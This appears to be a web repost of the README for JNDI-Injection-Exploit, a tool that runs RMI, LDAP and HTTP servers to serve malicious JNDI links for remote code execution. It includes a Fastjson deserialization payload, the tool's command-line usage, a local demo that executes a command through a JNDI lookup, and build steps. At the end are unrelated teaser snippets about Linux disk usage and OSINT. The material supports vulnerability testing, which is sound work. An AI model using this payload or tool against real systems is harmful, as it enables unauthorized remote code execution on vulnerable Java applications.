JNDI-Injection-Exploit is a tool for generating workable JNDI links and provide background services by starting RMI server, LDAP server and HTTP server. RMI server and LDAP server are based on marshals and modified further to link with HTTP server.
Using this tool allows you get JNDI links, you can insert these links into your POC to test vulnerability.
For example, this is a Fastjson vul-poc:
{“@type”:”com.sun.rowset.JdbcRowSetImpl”,”dataSourceName”:”rmi://127.0.0.1:1099/Object”,”autoCommit”:true}
We can replace “rmi://127.0.0.1:1099/Object” with the link generated by JNDI-Injection-Exploit to test vulnerability.
Run as
$ java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar [-C] [command] [-A] [address]
where:
Points for attention:
Local demo:
$ java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C “open /Applications/Calculator.app” -A “127.0.0.1”
In this example, it looks like this:
public static void main(String[] args) throws Exception{
InitialContext ctx = new InitialContext();
ctx.lookup(“rmi://127.0.0.1/fgf4fp”);
}
then when we run this code, the command will be executed ,
and the log will be printed in shell.
We can select one of the two methods to get the jar.
$ git clone https://github.com/welk1n/JNDI-Injection-Exploit.git
$ cd JNDI-Injection-Exploit
$ mvn clean package -DskipTests
Learning Without Walls Remote education has long been a lifeline for students in rural areas…
Have you ever come across a picture on the internet and wondered where it came…
Overview WhatsMyName is a free, community-driven OSINT tool designed to identify where a username exists…
Managing disk usage is a crucial task for Linux users and administrators alike. Understanding which…
Efficient disk space management is vital in Linux, especially for system administrators who manage servers…
Knowing how to check directory sizes in Linux is essential for managing disk space and…